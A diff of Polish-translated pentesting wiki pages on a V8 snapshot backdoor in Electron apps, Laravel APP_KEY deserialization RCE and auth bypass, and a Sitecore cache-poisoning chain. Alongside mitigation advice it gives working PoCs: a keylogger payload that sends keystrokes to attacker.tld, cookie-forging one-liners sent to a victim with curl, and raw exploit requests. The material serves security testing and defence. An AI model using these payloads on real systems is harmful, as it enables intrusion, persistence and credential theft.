Aplikacje Electron powinny mieć Content Security Policy (CSP), aby **zapobiegać atakom XSS**. CSP to **standard bezpieczeństwa**, który pomaga **uniemożliwić wykonanie niezaufanego kodu** w przeglądarce.
|
||||
|
||||
Zazwyczaj **konfiguruje się** ją w pliku `main.js` lub w szablonie `index.html` z CSP wewnątrz **meta tagu**.
|
||||
Zazwyczaj **konfiguruje się** go w pliku `main.js` lub w szablonie `index.html`, umieszczając CSP w **meta tagu**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -403,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikowania błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source’owy plugin do VS Code dla aplikacji Electron, wykorzystujący Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek third party
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikacji błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron wykorzystujący Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek firm trzecich
|
||||
- [**Electro.ng**](https://electro.ng/): Wymaga zakupu
|
||||
|
||||
## Labs
|
||||
|
||||
W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) znajdziesz lab do eksploatacji podatnych aplikacji Electron.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
||||
|
||||
Kilka poleceń, które pomogą Ci w labie:
|
||||
Kilka poleceń, które pomogą Ci w laboratorium:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -439,16 +439,16 @@ npm start
|
||||
|
||||
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||
|
||||
Kluczowe punkty
|
||||
- Luka integralności: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar walidują JavaScript aplikacji wewnątrz ASAR, ale nie obejmowały V8 heap snapshots (CVE-2025-55305). Chromium podobnie nie sprawdza integralności snapshotów.
|
||||
- Warunki wstępne ataku: lokalne zapisanie pliku do katalogu instalacyjnego aplikacji. Jest to powszechne na systemach, gdzie Electron apps lub Chromium browsers są zainstalowane w ścieżkach zapisywalnych przez użytkownika (np. %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Efekt: niezawodne wykonanie attacker JavaScript w dowolnym isolate przez nadpisanie często używanego builtin (tzw. „gadget”), umożliwiając utrwalenie i unikanie weryfikacji code-signing.
|
||||
- Powierzchnia ataku: Electron apps (nawet z włączonymi fuses) oraz przeglądarki oparte na Chromium, które ładują snapshoty z lokalizacji zapisywalnych przez użytkownika.
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||
- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
|
||||
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
|
||||
|
||||
Generowanie złośliwego snapshotu bez budowania Chromium
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
Przykładowy minimalny payload (potwierdź wykonanie wymuszając awarię)
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
@ -462,11 +462,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Routing świadomy izolatu dla payload (uruchamianie innego kodu w main vs. renderer)
|
||||
- Wykrywanie procesu głównego: Globalne zmienne dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu głównego.
|
||||
- Wykrywanie przeglądarki/renderer: Globalne zmienne dostępne tylko w przeglądarce, takie jak alert, są dostępne przy uruchomieniu w kontekście dokumentu.
|
||||
Isolate-aware payload routing (uruchamiaj różny kod w main vs. renderer)
|
||||
- Wykrywanie main process: globalne obiekty dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu main.
|
||||
- Wykrywanie Browser/renderer: globalne obiekty dostępne tylko w Browser, takie jak alert, są dostępne podczas uruchamiania w kontekście dokumentu.
|
||||
|
||||
Przykładowy gadget, który jednorazowo bada możliwości Node w procesie głównym
|
||||
Przykładowy gadget, który jednorazowo bada możliwości Node w main-process
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -495,7 +495,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context kradzież danych PoC (np. Slack)
|
||||
Renderer/browser-context data theft PoC (np. Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -519,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Przepływ pracy operatora
|
||||
1) Napisz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
|
||||
Przebieg pracy operatora
|
||||
1) Utwórz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się dla każdego isolate.
|
||||
2) Zbuduj snapshot bez źródeł Chromium:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Zastąp pliki snapshot docelowej aplikacji:
|
||||
- v8_context_snapshot.bin (zawsze używany)
|
||||
- browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot)
|
||||
4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrany builtin zostanie użyty.
|
||||
- browser_v8_context_snapshot.bin (jeśli używany jest LoadBrowserProcessSpecificV8Snapshot fuse)
|
||||
4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrane builtin zostanie użyte.
|
||||
|
||||
Uwagi i rozważania
|
||||
- Integrity/signature bypass: Pliki snapshot nie są traktowane jako natywne wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electron’s fuses ani kontrolami integralności Chromium.
|
||||
- Persistence: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa restarty aplikacji i wygląda jak podpisana, legalna aplikacja.
|
||||
- Chromium browsers: Ta sama koncepcja manipulacji ma zastosowanie do Chrome/derivatives zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochrony integralności, ale wyraźnie wyłącza lokalne ataki fizyczne z modelu zagrożeń.
|
||||
- Ominięcie integralności/podpisu: pliki snapshot nie są traktowane jako natywne pliki wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electron’s fuses ani mechanizmy integralności Chromium.
|
||||
- Trwałość: zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zazwyczaj przetrwa restarty aplikacji i wygląda jak podpisana, autentyczna aplikacja.
|
||||
- Przeglądarki Chromium: ten sam koncept manipulacji ma zastosowanie do Chrome/pochodnych zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy integralności, ale wyraźnie wyłącza ataki fizycznie lokalne z modelu zagrożeń.
|
||||
|
||||
Wykrywanie i środki zaradcze
|
||||
- Traktuj snapshoty jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (CVE-2025-55305 fix).
|
||||
- Preferuj lokalizacje instalacji zapisywalne tylko przez admina; ustal bazowe i monitoruj hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
|
||||
- Wykrywaj nadpisania builtinów we wczesnym czasie uruchomienia i nieoczekiwane zmiany snapshotu; generuj alert, gdy deserializowane snapshoty nie pasują do oczekiwanych wartości.
|
||||
- Traktować snapshoty jako zawartość wykonywalną i uwzględnić je w wymuszaniu integralności (CVE-2025-55305 fix).
|
||||
- Preferować lokalizacje instalacji zapisywalne tylko przez administratora; ustalić bazowe i monitorować hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
|
||||
- Wykrywać nadpisywanie builtinów we wczesnym etapie runtime oraz nieoczekiwane zmiany snapshotów; generować alert, gdy zdeserializowane snapshoty nie zgadzają się z oczekiwanymi wartościami.
|
||||
|
||||
## **References**
|
||||
## **Referencje**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Przeczytaj informacje na ten temat tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Przeczytaj o tym tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Wewnętrzne mechanizmy szyfrowania (Laravel \u003e=5.6)
|
||||
|
||||
Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC w tle (`Illuminate\\Encryption\\Encrypter`).
|
||||
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
|
||||
Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC pod maską (`Illuminate\\Encryption\\Encrypter`).
|
||||
Surowy szyfrogram, który ostatecznie **wysyłany do klienta**, to **Base64 obiektu JSON** w postaci:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,18 +20,18 @@ The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` domyślnie wykonuje `serialize()` na plaintext, natomiast
|
||||
`decrypt($payload, $unserialize=true)` **automatycznie wykona `unserialize()`** na odszyfrowanej wartości.
|
||||
W związku z tym **każdy atakujący, który zna 32-bajtowy sekret `APP_KEY`, może skonstruować zaszyfrowany PHP serialized object i uzyskać RCE poprzez magic methods (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` będzie domyślnie `serialize()`-ować plaintext, natomiast
|
||||
`decrypt($payload, $unserialize=true)` **automatycznie `unserialize()`** odszyfrowaną wartość.
|
||||
W związku z tym **każdy atakujący, który zna 32-bajtowy sekret `APP_KEY`, może skonstruować zaszyfrowany PHP serialized object i uzyskać RCE poprzez metody magiczne (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
Minimalny PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Wstrzyknij wygenerowany ciąg do dowolnego podatnego `decrypt()` sink (route param, cookie, session, …).
|
||||
Wstrzyknij wygenerowany string do dowolnego podatnego `decrypt()` sinku (route param, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Skrypt obsługuje transparentnie zarówno CBC, jak i GCM payloads oraz ponownie generuje pole HMAC/tag.
|
||||
Skrypt transparentnie obsługuje zarówno CBC, jak i GCM payloads oraz ponownie generuje pole HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Rzeczywiste podatne wzorce
|
||||
## Rzeczywiste wzorce podatności
|
||||
|
||||
| Projekt | Wrażliwy sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie gdy `Passport::withCookieSerialization()` jest włączone | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Proces eksploatacji jest zawsze ten sam:
|
||||
1. Uzyskaj lub brute-force 32-bajtowy `APP_KEY`.
|
||||
2. Zbuduj gadget chain przy użyciu **PHPGGC** (np. `Laravel/RCE13`, `Laravel/RCE9` lub `Laravel/RCE15`).
|
||||
Przebieg eksploatacji jest zawsze następujący:
|
||||
1. Uzyskaj lub przeprowadź brute-force 32-bajtowy `APP_KEY`.
|
||||
2. Zbuduj gadget chain za pomocą **PHPGGC** (np. `Laravel/RCE13`, `Laravel/RCE9` lub `Laravel/RCE15`).
|
||||
3. Zaszyfruj zserializowany gadget za pomocą **laravel_crypto_killer.py** i odzyskanego `APP_KEY`.
|
||||
4. Dostarcz szyfrogram do wrażliwego sinka `decrypt()` (parametr trasy, cookie, session …), aby wywołać **RCE**.
|
||||
4. Dostarcz szyfrogram do wrażliwego sinka `decrypt()` (parametr route, cookie, session …) aby wywołać **RCE**.
|
||||
|
||||
Poniżej znajdują się zwięzłe one-linery pokazujące pełną ścieżkę ataku dla każdego z wymienionych powyżej CVE:
|
||||
Poniżej znajdują się zwięzłe one-liners pokazujące pełną ścieżkę ataku dla każdego z wymienionych powyżej CVE:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -82,40 +82,40 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
## Masowe odkrywanie APP_KEY przez cookie brute-force
|
||||
|
||||
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
|
||||
Ponieważ każda świeża odpowiedź Laravel ustawia co najmniej 1 zaszyfrowany cookie (`XSRF-TOKEN` i zazwyczaj `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** które można atakować offline.
|
||||
|
||||
Key findings of the research published by Synacktiv (2024-2025):
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
|
||||
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
Kluczowe ustalenia badań opublikowanych przez Synacktiv (2024–2025):
|
||||
* Zbiór danych lipiec 2024 » 580 k tokenów, **3.99 % złamanych kluczy** (≈23 k)
|
||||
* Zbiór danych maj 2025 » 625 k tokenów, **3.56 % złamanych kluczy**
|
||||
* >1 000 serwerów nadal podatnych na legacy CVE-2018-15133, ponieważ tokeny bezpośrednio zawierają zserializowane dane.
|
||||
* Ogromne ponowne użycie kluczy – Top-10 APP_KEYs to hard-coded defaults dołączane do komercyjnych szablonów Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
|
||||
Prywatne narzędzie Go **nounours** zwiększa przepustowość bruteforce AES-CBC/GCM do ~1.5 billion tries/s, skracając złamanie całego zbioru do <2 minut.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
|
||||
Gdy w PHP `register_argc_argv=On` (typowe w wielu dystrybucjach), PHP udostępnia tablicę `argv` dla żądań HTTP pochodzącą z query string. Nowsze wersje Laravel parsowały te „CLI-like” argumenty i honorowały `--env=<value>` w czasie wykonywania. Pozwala to na przełączenie środowiska frameworka dla bieżącego żądania HTTP przez dodanie tego do dowolnego URL:
|
||||
|
||||
- Quick check:
|
||||
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
|
||||
- Odwiedź `https://target/?--env=local` lub dowolny ciąg i sprawdź zmiany zależne od środowiska (banery debug, stopki, szczegółowe błędy). Jeśli ciąg jest odzwierciedlany, nadpisanie działa.
|
||||
|
||||
- Impact example (business logic trusting a special env):
|
||||
- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
|
||||
- Przykład wpływu (logika biznesowa ufająca specjalnemu env):
|
||||
- Jeśli aplikacja zawiera gałęzie takie jak `if (app()->environment('preprod')) { /* bypass auth */ }`, możesz się uwierzytelnić bez prawidłowych creds wysyłając POST logowania na:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes:
|
||||
- Works per-request, no persistence.
|
||||
- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
|
||||
- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
|
||||
- Uwagi:
|
||||
- Działa dla pojedynczego żądania, bez trwałych zmian.
|
||||
- Wymaga `register_argc_argv=On` oraz podatnej wersji Laravel, która czyta argv dla HTTP.
|
||||
- Użyteczny prymityw do ujawniania bardziej szczegółowych błędów w środowiskach „debug” lub do wywoływania ścieżek kodu zależnych od środowiska.
|
||||
|
||||
- Mitigations:
|
||||
- Disable `register_argc_argv` for PHP-FPM/Apache.
|
||||
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
|
||||
- Mitigacje:
|
||||
- Wyłącz `register_argc_argv` dla PHP-FPM/Apache.
|
||||
- Zaktualizuj Laravel, aby ignorował argv w żądaniach HTTP i usuń wszelkie założenia zaufania powiązane z `app()->environment()` w trasach produkcyjnych.
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
Minimalny przebieg eksploatacji (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Laravel Wskazówki
|
||||
## Laravel Tricks
|
||||
|
||||
### Tryb debugowania
|
||||
### Debugging mode
|
||||
|
||||
Jeśli Laravel jest w **trybie debugowania** będziesz mieć dostęp do **kodu** i **poufnych danych**.\
|
||||
Jeśli Laravel jest w **trybie debugowania** będziesz mógł uzyskać dostęp do **kodu** i **wrażliwych danych**.\
|
||||
Na przykład `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Zwykle jest to potrzebne do exploiting other Laravel RCE CVEs.
|
||||
Zwykle jest to potrzebne do wykorzystania innych Laravel RCE CVEs.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
Szybkie sprawdzenia pozwalające zidentyfikować stack Laravel i niebezpieczne narzędzia developerskie wystawione w produkcji:
|
||||
Szybkie kontrole pozwalające zidentyfikować stos Laravel i niebezpieczne narzędzia deweloperskie wystawione w produkcji:
|
||||
|
||||
- `/_ignition/health-check` → Ignition present (narzędzie debugujące używane w CVE-2021-3129). Jeśli dostępne bez uwierzytelnienia, aplikacja może być w trybie debugowania lub niewłaściwie skonfigurowana.
|
||||
- `/_debugbar` → Laravel Debugbar assets; często wskazuje tryb debugowania.
|
||||
- `/telescope` → Laravel Telescope (monitor deweloperski). Jeśli dostępny publicznie, spodziewaj się szerokiego ujawnienia informacji i możliwych działań.
|
||||
- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). Jeśli dostępne bez uwierzytelnienia, aplikacja może być w trybie debug lub źle skonfigurowana.
|
||||
- `/_debugbar` → Laravel Debugbar assets; często wskazuje na tryb debugowania.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). Jeśli publicznie dostępne, spodziewaj się szerokiego ujawnienia informacji i możliwych akcji.
|
||||
- `/horizon` → Queue dashboard; ujawnianie wersji i czasami akcje chronione CSRF.
|
||||
- Nagłówki X-Powered-By, ciasteczka `XSRF-TOKEN` i `laravel_session`, oraz strony błędów Blade też pomagają w fingerprintingu.
|
||||
- Nagłówek `X-Powered-By`, ciasteczka `XSRF-TOKEN` i `laravel_session`, oraz strony błędów Blade również pomagają w identyfikacji.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel zapisuje APP, którego używa do szyfrowania cookies i innych poświadczeń, w pliku o nazwie `.env`, do którego można uzyskać dostęp przy użyciu path traversal pod: `/../.env`
|
||||
Laravel zapisuje APP, którego używa do szyfrowania cookies i innych poświadczeń, w pliku o nazwie `.env`, do którego można uzyskać dostęp za pomocą path traversal: `/../.env`
|
||||
|
||||
Laravel pokaże również te informacje na debug page (która pojawia się, gdy Laravel napotka błąd i jest włączony).
|
||||
Laravel pokaże też te informacje na stronie debug (która pojawia się, gdy Laravel napotka błąd i jest włączony).
|
||||
|
||||
Używając sekretnego APP_KEY Laravela możesz odszyfrować i ponownie zaszyfrować cookies:
|
||||
|
||||
@ -220,12 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Wersje podatne: 5.5.40 i 5.6.x poprzez 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Wersje podatne: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Informacje o podatności deserialization znajdziesz tutaj: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Możesz to przetestować i exploitować używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Lub możesz też exploitować to przy użyciu metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
Lub możesz też exploitować to za pomocą metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
@ -233,7 +233,7 @@ Kolejna deserialization: [https://github.com/ambionics/laravel-exploits](https:/
|
||||
|
||||
|
||||
|
||||
## References
|
||||
## Referencje
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
|
@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i, poprzez authenticated UI flow, do RCE za pomocą BinaryFormatter deserialization. Techniki te uogólniają się na podobne wersje/komponenty Sitecore i dostarczają konkretne prymitywy do testowania, wykrywania i zabezpieczania.
|
||||
Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i — przez authenticated UI flow — do RCE przez BinaryFormatter deserialization. Techniki te mają zastosowanie do podobnych wersji/komponentów Sitecore i dostarczają konkretne primitives do testowania, wykrywania i utwardzania.
|
||||
|
||||
- Testowany produkt: Sitecore XP 10.4.1 rev. 011628
|
||||
- Naprawione w: KB1003667, KB1003734 (czerwiec/lipiec 2025)
|
||||
- Naprawiono w: KB1003667, KB1003734 (czerwiec/lipiec 2025)
|
||||
|
||||
Zobacz także:
|
||||
|
||||
@ -19,7 +19,7 @@ Zobacz także:
|
||||
|
||||
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
|
||||
|
||||
Punkt wejścia to pre‑auth XAML handler zarejestrowany w web.config:
|
||||
Entrypoint is the pre‑auth XAML handler registered in web.config:
|
||||
```xml
|
||||
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
|
||||
```
|
||||
@ -27,7 +27,7 @@ Dostępne przez:
|
||||
```
|
||||
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
```
|
||||
Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i przy użyciu refleksji wywołuje metody na docelowych kontrolkach:
|
||||
Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i refleksyjnie wywołuje metody na docelowych kontrolkach:
|
||||
```csharp
|
||||
// AjaxScriptManager.OnPreRender
|
||||
string clientId = page.Request.Form["__SOURCE"]; // target control
|
||||
@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
|
||||
// Alternate branch for XML-based controls
|
||||
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
|
||||
```
|
||||
Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasie Sitecore), która przepuszcza ReflectionUtil.Filter allow‑list (Sitecore.*), odblokowując metody na Sitecore WebControl.
|
||||
Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasa Sitecore), która przekazuje ReflectionUtil.Filter (listę dozwolonych: Sitecore.*), odblokowując metody w Sitecore WebControl.
|
||||
|
||||
Magiczna metoda do poisoning:
|
||||
```csharp
|
||||
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
|
||||
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
|
||||
}
|
||||
```
|
||||
Ponieważ możemy targetować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, uzyskujemy pre‑auth prymityw pozwalający na dowolny zapis do HtmlCache.
|
||||
Ponieważ możemy zaadresować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, otrzymujemy pre‑auth arbitrary HtmlCache write primitive.
|
||||
|
||||
### Prośba o PoC (CVE-2025-53693)
|
||||
```
|
||||
@ -62,11 +62,11 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
Notatki:
|
||||
- __SOURCE jest clientID xmlcontrol:GlobalHeader w ramach Sitecore.Shell.Xaml.WebControl (zwykle stabilny, np. ctl00_ctl00_ctl05_ctl03, ponieważ jest wyprowadzony ze statycznego XAML).
|
||||
Uwagi:
|
||||
